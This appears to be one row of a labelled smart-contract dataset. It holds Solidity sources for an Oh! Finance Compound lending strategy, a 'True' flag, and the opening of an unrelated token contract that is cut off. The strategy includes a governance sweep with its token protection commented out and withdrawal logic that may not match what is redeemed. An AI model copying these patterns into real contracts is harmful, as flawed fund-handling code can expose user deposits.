// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface ILiquidator {
function liquidate(
address recipient,
address from,
address to,
uint256 amount,
uint256 minOut
) external returns (uint256);
function getSwapInfo(address from, address to) external view returns (address router, address[] memory path);
function sushiswapRouter() external view returns (address);
function uniswapRouter() external view returns (address);
function weth() external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface IManager {
function token() external view returns (address);
function buybackFee() external view returns (uint256);
function managementFee() external view returns (uint256);
function liquidators(address from, address to) external view returns (address);
function whitelisted(address _contract) external view returns (bool);
function banks(uint256 i) external view returns (address);
function totalBanks() external view returns (uint256);
function strategies(address bank, uint256 i) external view returns (address);
function totalStrategies(address bank) external view returns (uint256);
function withdrawIndex(address bank) external view returns (uint256);
function setWithdrawIndex(uint256 i) external;
function rebalance(address bank) external;
function finance(address bank) external;
function financeAll(address bank) external;
function buyback(address from) external;
function accrueRevenue(
address bank,
address underlying,
uint256 amount
) external;
function exitAll(address bank) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface IRegistry {
function governance() external view returns (address);
function manager() external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface ISubscriber {
function registry() external view returns (address);
function governance() external view returns (address);
function manager() external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint256 value) external returns (bool);
function withdraw(uint256) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import {IBankStorage} from "./IBankStorage.sol";
interface IBank is IBankStorage {
function strategies(uint256 i) external view returns (address);
function totalStrategies() external view returns (uint256);
function underlyingBalance() external view returns (uint256);
function strategyBalance(uint256 i) external view returns (uint256);
function investedBalance() external view returns (uint256);
function virtualBalance() external view returns (uint256);
function virtualPrice() external view returns (uint256);
function pause() external;
function unpause() external;
function invest(address strategy, uint256 amount) external;
function investAll(address strategy) external;
function exit(address strategy, uint256 amount) external;
function exitAll(address strategy) external;
function deposit(uint256 amount) external;
function depositFor(uint256 amount, address recipient) external;
function withdraw(uint256 amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface IBankStorage {
function paused() external view returns (bool);
function underlying() external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import {IStrategyBase} from "./IStrategyBase.sol";
interface IStrategy is IStrategyBase {
function investedBalance() external view returns (uint256);
function invest() external;
function withdraw(uint256 amount) external returns (uint256);
function withdrawAll() external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import {IStrategyStorage} from "./IStrategyStorage.sol";
interface IStrategyBase is IStrategyStorage {
function underlyingBalance() external view returns (uint256);
function derivativeBalance() external view returns (uint256);
function rewardBalance() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface IStrategyStorage {
function bank() external view returns (address);
function underlying() external view returns (address);
function derivative() external view returns (address);
function reward() external view returns (address);
// function investedBalance() external view returns (uint256);
// function invest() external;
// function withdraw(uint256 amount) external returns (uint256);
// function withdrawAll() external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface ICompoundStrategyStorage {
function comptroller() external view returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
library TransferHelper {
using SafeERC20 for IERC20;
// safely transfer tokens without underflowing
function safeTokenTransfer(
address recipient,
address token,
uint256 amount
) internal returns (uint256) {
if (amount == 0) {
return 0;
}
uint256 balance = IERC20(token).balanceOf(address(this));
if (balance < amount) {
IERC20(token).safeTransfer(recipient, balance);
return balance;
} else {
IERC20(token).safeTransfer(recipient, amount);
return amount;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
/// @title Oh! Finance Base Upgradeable
/// @notice Contains internal functions to get/set primitive data types used by a proxy contract
abstract contract OhUpgradeable {
function getAddress(bytes32 slot) internal view returns (address _address) {
// solhint-disable-next-line no-inline-assembly
assembly {
_address := sload(slot)
}
}
function getBoolean(bytes32 slot) internal view returns (bool _bool) {
uint256 bool_;
// solhint-disable-next-line no-inline-assembly
assembly {
bool_ := sload(slot)
}
_bool = bool_ == 1;
}
function getBytes32(bytes32 slot) internal view returns (bytes32 _bytes32) {
// solhint-disable-next-line no-inline-assembly
assembly {
_bytes32 := sload(slot)
}
}
function getUInt256(bytes32 slot) internal view returns (uint256 _uint) {
// solhint-disable-next-line no-inline-assembly
assembly {
_uint := sload(slot)
}
}
function setAddress(bytes32 slot, address _address) internal {
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, _address)
}
}
function setBytes32(bytes32 slot, bytes32 _bytes32) internal {
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, _bytes32)
}
}
/// @dev Set a boolean storage variable in a given slot
/// @dev Convert to a uint to take up an entire contract storage slot
function setBoolean(bytes32 slot, bool _bool) internal {
uint256 bool_ = _bool ? 1 : 0;
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, bool_)
}
}
function setUInt256(bytes32 slot, uint256 _uint) internal {
// solhint-disable-next-line no-inline-assembly
assembly {
sstore(slot, _uint)
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {ISubscriber} from "../interfaces/ISubscriber.sol";
import {IRegistry} from "../interfaces/IRegistry.sol";
import {OhUpgradeable} from "../proxy/OhUpgradeable.sol";
/// @title Oh! Finance Subscriber Upgradeable
/// @notice Base Oh! Finance upgradeable contract used to control access throughout the protocol
abstract contract OhSubscriberUpgradeable is Initializable, OhUpgradeable, ISubscriber {
bytes32 private constant _REGISTRY_SLOT = 0x1b5717851286d5e98a28354be764b8c0a20eb2fbd059120090ee8bcfe1a9bf6c;
/// @notice Only allow authorized addresses (governance or manager) to execute a function
modifier onlyAuthorized {
require(msg.sender == governance() || msg.sender == manager(), "Subscriber: Only Authorized");
_;
}
/// @notice Only allow the governance address to execute a function
modifier onlyGovernance {
require(msg.sender == governance(), "Subscriber: Only Governance");
_;
}
/// @notice Verify the registry storage slot is correct
constructor() {
assert(_REGISTRY_SLOT == bytes32(uint256(keccak256("eip1967.subscriber.registry")) - 1));
}
/// @notice Initialize the Subscriber
/// @param registry_ The Registry contract address
/// @dev Always call this method in the initializer function for any derived classes
function initializeSubscriber(address registry_) internal initializer {
require(Address.isContract(registry_), "Subscriber: Invalid Registry");
_setRegistry(registry_);
}
/// @notice Set the Registry for the contract. Only callable by Governance.
/// @param registry_ The new registry
/// @dev Requires sender to be Governance of the new Registry to avoid bricking.
/// @dev Ideally should not be used
function setRegistry(address registry_) external onlyGovernance {
_setRegistry(registry_);
require(msg.sender == governance(), "Subscriber: Bad Governance");
}
/// @notice Get the Governance address
/// @return The current Governance address
function governance() public view override returns (address) {
return IRegistry(registry()).governance();
}
/// @notice Get the Manager address
/// @return The current Manager address
function manager() public view override returns (address) {
return IRegistry(registry()).manager();
}
/// @notice Get the Registry address
/// @return The current Registry address
function registry() public view override returns (address) {
return getAddress(_REGISTRY_SLOT);
}
function _setRegistry(address registry_) private {
setAddress(_REGISTRY_SLOT, registry_);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import {IBank} from "../interfaces/bank/IBank.sol";
import {IStrategyBase} from "../interfaces/strategies/IStrategyBase.sol";
import {ILiquidator} from "../interfaces/ILiquidator.sol";
import {IManager} from "../interfaces/IManager.sol";
import {TransferHelper} from "../libraries/TransferHelper.sol";
import {OhSubscriberUpgradeable} from "../registry/OhSubscriberUpgradeable.sol";
import {OhStrategyStorage} from "./OhStrategyStorage.sol";
/// @title Oh! Finance Strategy
/// @notice Base Upgradeable Strategy Contract to build strategies on
contract OhStrategy is OhSubscriberUpgradeable, OhStrategyStorage, IStrategyBase {
using SafeERC20 for IERC20;
event Liquidate(address indexed router, address indexed token, uint256 amount);
event Sweep(address indexed token, uint256 amount, address recipient);
/// @notice Only the Bank can execute these functions
modifier onlyBank() {
require(msg.sender == bank(), "Strategy: Only Bank");
_;
}
/// @notice Initialize the base Strategy
/// @param registry_ Address of the Registry
/// @param bank_ Address of Bank
/// @param underlying_ Underying token that is deposited
/// @param derivative_ Derivative token received from protocol, or address(0)
/// @param reward_ Reward token received from protocol, or address(0)
function initializeStrategy(
address registry_,
address bank_,
address underlying_,
address derivative_,
address reward_
) internal initializer {
initializeSubscriber(registry_);
initializeStorage(bank_, underlying_, derivative_, reward_);
}
/// @dev Balance of underlying awaiting Strategy investment
function underlyingBalance() public view override returns (uint256) {
return IERC20(underlying()).balanceOf(address(this));
}
/// @dev Balance of derivative tokens received from Strategy, if applicable
/// @return The balance of derivative tokens
function derivativeBalance() public view override returns (uint256) {
if (derivative() == address(0)) {
return 0;
}
return IERC20(derivative()).balanceOf(address(this));
}
/// @dev Balance of reward tokens awaiting liquidation, if applicable
function rewardBalance() public view override returns (uint256) {
if (reward() == address(0)) {
return 0;
}
return IERC20(reward()).balanceOf(address(this));
}
/// @notice Governance function to sweep any stuck / airdrop tokens to a given recipient
/// @param token The address of the token to sweep
/// @param amount The amount of tokens to sweep
/// @param recipient The address to send the sweeped tokens to
function sweep(
address token,
uint256 amount,
address recipient
) external onlyGovernance {
// require(!_protected[token], "Strategy: Cannot sweep");
TransferHelper.safeTokenTransfer(recipient, token, amount);
emit Sweep(token, amount, recipient);
}
/// @dev Liquidation function to swap rewards for underlying
function liquidate(
address from,
address to,
uint256 amount
) internal {
// if (amount > minimumSell())
// find the liquidator to use
address manager = manager();
address liquidator = IManager(manager).liquidators(from, to);
// increase allowance and liquidate to the manager
TransferHelper.safeTokenTransfer(liquidator, from, amount);
uint256 received = ILiquidator(liquidator).liquidate(manager, from, to, amount, 1);
// notify revenue and transfer proceeds back to strategy
IManager(manager).accrueRevenue(bank(), to, received);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import {IStrategyStorage} from "../interfaces/strategies/IStrategyStorage.sol";
import {OhUpgradeable} from "../proxy/OhUpgradeable.sol";
contract OhStrategyStorage is Initializable, OhUpgradeable, IStrategyStorage {
bytes32 internal constant _BANK_SLOT = 0xd2eff96e29993ca5431993c3a205e12e198965c0e1fdd87b4899b57f1e611c74;
bytes32 internal constant _UNDERLYING_SLOT = 0x0fad97fe3ec7d6c1e9191a09a0c4ccb7a831b6605392e57d2fedb8501a4dc812;
bytes32 internal constant _DERIVATIVE_SLOT = 0x4ff4c9b81c0bf267e01129f4817e03efc0163ee7133b87bd58118a96bbce43d3;
bytes32 internal constant _REWARD_SLOT = 0xaeb865605058f37eedb4467ee2609ddec592b0c9a6f7f7cb0db3feabe544c71c;
constructor() {
assert(_BANK_SLOT == bytes32(uint256(keccak256("eip1967.strategy.bank")) - 1));
assert(_UNDERLYING_SLOT == bytes32(uint256(keccak256("eip1967.strategy.underlying")) - 1));
assert(_DERIVATIVE_SLOT == bytes32(uint256(keccak256("eip1967.strategy.derivative")) - 1));
assert(_REWARD_SLOT == bytes32(uint256(keccak256("eip1967.strategy.reward")) - 1));
}
function initializeStorage(
address bank_,
address underlying_,
address derivative_,
address reward_
) internal initializer {
_setBank(bank_);
_setUnderlying(underlying_);
_setDerivative(derivative_);
_setReward(reward_);
}
/// @notice The Bank that the Strategy is associated with
function bank() public view override returns (address) {
return getAddress(_BANK_SLOT);
}
/// @notice The underlying token the Strategy invests in AaveV2
function underlying() public view override returns (address) {
return getAddress(_UNDERLYING_SLOT);
}
/// @notice The derivative token received from AaveV2 (aToken)
function derivative() public view override returns (address) {
return getAddress(_DERIVATIVE_SLOT);
}
/// @notice The reward token received from AaveV2 (stkAave)
function reward() public view override returns (address) {
return getAddress(_REWARD_SLOT);
}
function _setBank(address _address) internal {
setAddress(_BANK_SLOT, _address);
}
function _setUnderlying(address _address) internal {
setAddress(_UNDERLYING_SLOT, _address);
}
function _setDerivative(address _address) internal {
setAddress(_DERIVATIVE_SLOT, _address);
}
function _setReward(address _address) internal {
setAddress(_REWARD_SLOT, _address);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import {IWETH} from "../../interfaces/IWETH.sol";
import {ICToken} from "./interfaces/ICToken.sol";
import {IComptroller} from "./interfaces/IComptroller.sol";
import {ICEther} from "./interfaces/ICEther.sol";
/// @title Oh! Finance Compound Helper
/// @notice Helper functions to interact with the Compound Protocol
/// @dev https://compound.finance
abstract contract OhCompoundHelper {
using SafeERC20 for IERC20;
/// @notice Get the exchange rate of cTokens => underlying
/// @dev https://compound.finance/docs/ctokens#exchange-rate
/// @param cToken The cToken address rate to get
/// @return The exchange rate scaled by 1e18
function getExchangeRate(address cToken) internal view returns (uint256) {
return ICToken(cToken).exchangeRateStored();
}
/// @notice Enter the market (approve), required before calling borrow
/// @param comptroller The Compound Comptroller (rewards contract)
/// @param cToken The cToken market to enter
function enter(address comptroller, address cToken) internal {
address[] memory cTokens = new address[](1);
cTokens[0] = cToken;
IComptroller(comptroller).enterMarkets(cTokens);
}
/// @notice Mint cTokens by providing/lending underlying as collateral
/// @param underlying The underlying to lend to Compound
/// @param cToken The Compound cToken
/// @param amount The amount of underlying to lend
function mint(
address underlying,
address cToken,
uint256 amount
) internal {
IERC20(underlying).safeIncreaseAllowance(cToken, amount);
uint256 result = ICToken(cToken).mint(amount);
require(result == 0, "Compound: Borrow failed");
}
/// @notice Borrow underlying tokens from a given cToken against collateral
/// @param cToken The cToken corresponding the underlying we want to borrow
/// @param amount The amount of underlying to borrow
function borrow(address cToken, uint256 amount) internal {
uint256 result = ICToken(cToken).borrow(amount);
require(result == 0, "Compound: Borrow failed");
}
/// @notice Repay loan with a given amount of underlying
/// @param underlying The underlying to repay
/// @param cToken The cToken for the underlying
/// @param amount The amount of underlying to repay
function repay(
address underlying,
address cToken,
uint256 amount
) internal {
IERC20(underlying).safeIncreaseAllowance(cToken, amount);
uint256 result = ICToken(cToken).repayBorrow(amount);
require(result == 0, "Compound: Repay failed");
}
/// @notice Repay loan with weth
/// @param weth WETH address
/// @param cToken The cToken for the underlying
/// @param amount The amount of underlying to repay
/// @dev Convert to ETH, then repay
function repayInWETH(
address weth,
address cToken,
uint256 amount
) internal {
IWETH(weth).withdraw(amount); // Unwrapping
ICEther(cToken).repayBorrow{value: amount}();
}
/// @notice Redeem cTokens for underlying
/// @param cToken The cToken to redeem
/// @param amount The amount of cTokens to redeem
function redeem(address cToken, uint256 amount) internal {
if (amount == 0) {
return;
}
uint256 result = ICToken(cToken).redeem(amount);
require(result == 0, "Compound: Redeem cToken");
}
/// @notice Redeem cTokens for underlying
/// @param cToken The cToken to redeem
/// @param amount The amount of underlying tokens to receive
function redeemUnderlying(address cToken, uint256 amount) internal {
if (amount == 0) {
return;
}
uint256 result = ICToken(cToken).redeemUnderlying(amount);
require(result == 0, "Compound: Redeem underlying");
}
/// @notice Redeem cTokens for weth
/// @param weth WETH Address
/// @param cToken The cToken to redeem
/// @param amount The amount of underlying to receive
/// @dev Redeem in ETH, then convert to weth
function redeemUnderlyingInWeth(
address weth,
address cToken,
uint256 amount
) internal {
if (amount > 0) {
redeemUnderlying(cToken, amount);
IWETH(weth).deposit{value: address(this).balance}();
}
}
/// @notice Claim COMP rewards from Comptroller for this address
/// @param comptroller The Compound Comptroller, Reward Contract
function claim(address comptroller) internal {
IComptroller(comptroller).claimComp(address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
import {IStrategy} from "../../interfaces/strategies/IStrategy.sol";
import {TransferHelper} from "../../libraries/TransferHelper.sol";
import {OhStrategy} from "../OhStrategy.sol";
import {OhCompoundHelper} from "./OhCompoundHelper.sol";
import {OhCompoundStrategyStorage} from "./OhCompoundStrategyStorage.sol";
/// @title Oh! Finance Compound Strategy
/// @notice Standard, unleveraged strategy. Invest underlying tokens into derivative cTokens
/// @dev https://compound.finance/docs/ctokens
contract OhCompoundStrategy is IStrategy, OhCompoundHelper, OhStrategy, OhCompoundStrategyStorage {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/// @notice Initialize the Compound Strategy Logic
constructor() initializer {
assert(registry() == address(0));
assert(bank() == address(0));
assert(underlying() == address(0));
assert(reward() == address(0));
}
/// @notice Initializes the Compound Strategy Proxy
/// @param registry_ the registry contract
/// @param bank_ the bank associated with the strategy
/// @param underlying_ the underlying token that is deposited
/// @param derivative_ the cToken address received from Compound
/// @param reward_ the address of the reward token COMP
/// @param comptroller_ the Compound rewards contract
/// @dev The function should be called at time of deployment
function initializeCompoundStrategy(
address registry_,
address bank_,
address underlying_,
address derivative_,
address reward_,
address comptroller_
) public initializer {
initializeStrategy(registry_, bank_, underlying_, derivative_, reward_);
initializeCompoundStorage(comptroller_);
IERC20(derivative_).safeApprove(underlying_, type(uint256).max);
}
/// @notice Get the balance of underlying invested by the Strategy
/// @dev Get the exchange rate (which is scaled up by 1e18) and multiply by amount of cTokens
/// @return The amount of underlying the strategy has invested
function investedBalance() public view override returns (uint256) {
uint256 exchangeRate = getExchangeRate(derivative());
return exchangeRate.mul(derivativeBalance()).div(1e18);
}
function invest() external override onlyBank {
_compound();
_deposit();
}
function _compound() internal {
claim(comptroller());
uint256 amount = rewardBalance();
if (amount > 0) {
liquidate(reward(), underlying(), amount);
}
}
// deposit underlying tokens into Compound, minting cTokens
function _deposit() internal {
uint256 amount = underlyingBalance();
if (amount > 0) {
mint(underlying(), derivative(), amount);
}
}
// withdraw all underlying by redeem all cTokens
function withdrawAll() external override onlyBank {
uint256 invested = investedBalance();
_withdraw(msg.sender, invested);
}
// withdraw an amount of underlying tokens
function withdraw(uint256 amount) external override onlyBank returns (uint256) {
uint256 withdrawn = _withdraw(msg.sender, amount);
return withdrawn;
}
// withdraw underlying tokens from the protocol after redeeming them from compound
function _withdraw(address recipient, uint256 amount) internal returns (uint256) {
if (amount == 0) {
return 0;
}
// calculate amount of shares to redeem
uint256 invested = investedBalance();
uint256 supplyShare = amount.mul(1e18).div(invested);
uint256 redeemAmount = supplyShare.mul(invested).div(1e18);
// safely redeem from Compound
if (redeemAmount > invested) {
redeemUnderlying(derivative(), invested);
} else {
redeemUnderlying(derivative(), redeemAmount);
}
// withdraw to bank
uint256 withdrawn = TransferHelper.safeTokenTransfer(recipient, underlying(), amount);
return withdrawn;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import {ICompoundStrategyStorage} from "../../interfaces/strategies/compound/ICompoundStrategyStorage.sol";
import {OhUpgradeable} from "../../proxy/OhUpgradeable.sol";
contract OhCompoundStrategyStorage is Initializable, OhUpgradeable, ICompoundStrategyStorage {
bytes32 internal constant _COMPTROLLER_SLOT = 0x5afedb916735b48cdf292f42c56bdd9f2c18a47029ac6473a9597ce1cb6a8661;
constructor() {
assert(_COMPTROLLER_SLOT == bytes32(uint256(keccak256("eip1967.compoundStrategy.comptroller")) - 1));
}
function initializeCompoundStorage(address comptroller_) internal initializer {
_setComptroller(comptroller_);
}
function comptroller() public view override returns (address) {
return getAddress(_COMPTROLLER_SLOT);
}
function _setComptroller(address comptroller_) internal {
setAddress(_COMPTROLLER_SLOT, comptroller_);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface ICEther {
function mint() external payable;
function borrow(uint256 borrowAmount) external returns (uint256);
function redeem(uint256 redeemTokens) external returns (uint256);
function redeemUnderlying(uint256 redeemAmount) external returns (uint256);
function repayBorrow() external payable;
function repayBorrowBehalf(address borrower) external payable;
function borrowBalanceCurrent(address account) external returns (uint256);
function borrowBalanceStored(address account) external view returns (uint256);
function balanceOfUnderlying(address account) external returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function getAccountSnapshot(address account)
external
view
returns (
uint256,
uint256,
uint256,
uint256
);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface ICToken {
function underlying() external;
function mint(uint256 mintAmount) external returns (uint256);
function redeem(uint256 redeemTokens) external returns (uint256);
function redeemUnderlying(uint256 redeemAmount) external returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
function repayBorrow(uint256 repayAmount) external returns (uint256);
function exchangeRateStored() external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
interface IComptroller {
function getAccountLiquidity(address account)
external
view
returns (
uint256,
uint256,
uint256
);
function getHypotheticalAccountLiquidity(
address account,
address cTokenModify,
uint256 redeemTokens,
uint256 borrowAmount
)
external
view
returns (
uint256,
uint256,
uint256
);
function claimComp(address holder) external;
function enterMarkets(address[] calldata cTokens) external returns (uint256[] memory);
function exitMarket(address cToken) external returns (uint256);
} | True | [
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|
/**
*Submitted for verification at Etherscan.io on 2021-04-22
*/
//1% burn and 1% distribution fee on every transaction
//100% locked liquidity
//50% of total supply burned at start
//Ownership renounced
//3% in dev wallet and 3% in marketing wallet
//Source code is a fork of Kishu Inu
//Twitter: https://twitter.com/BigSmogeFinance
//Telegram: https://t.me/bigsmogefinance
//Website: http://bigsmoge.finance/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
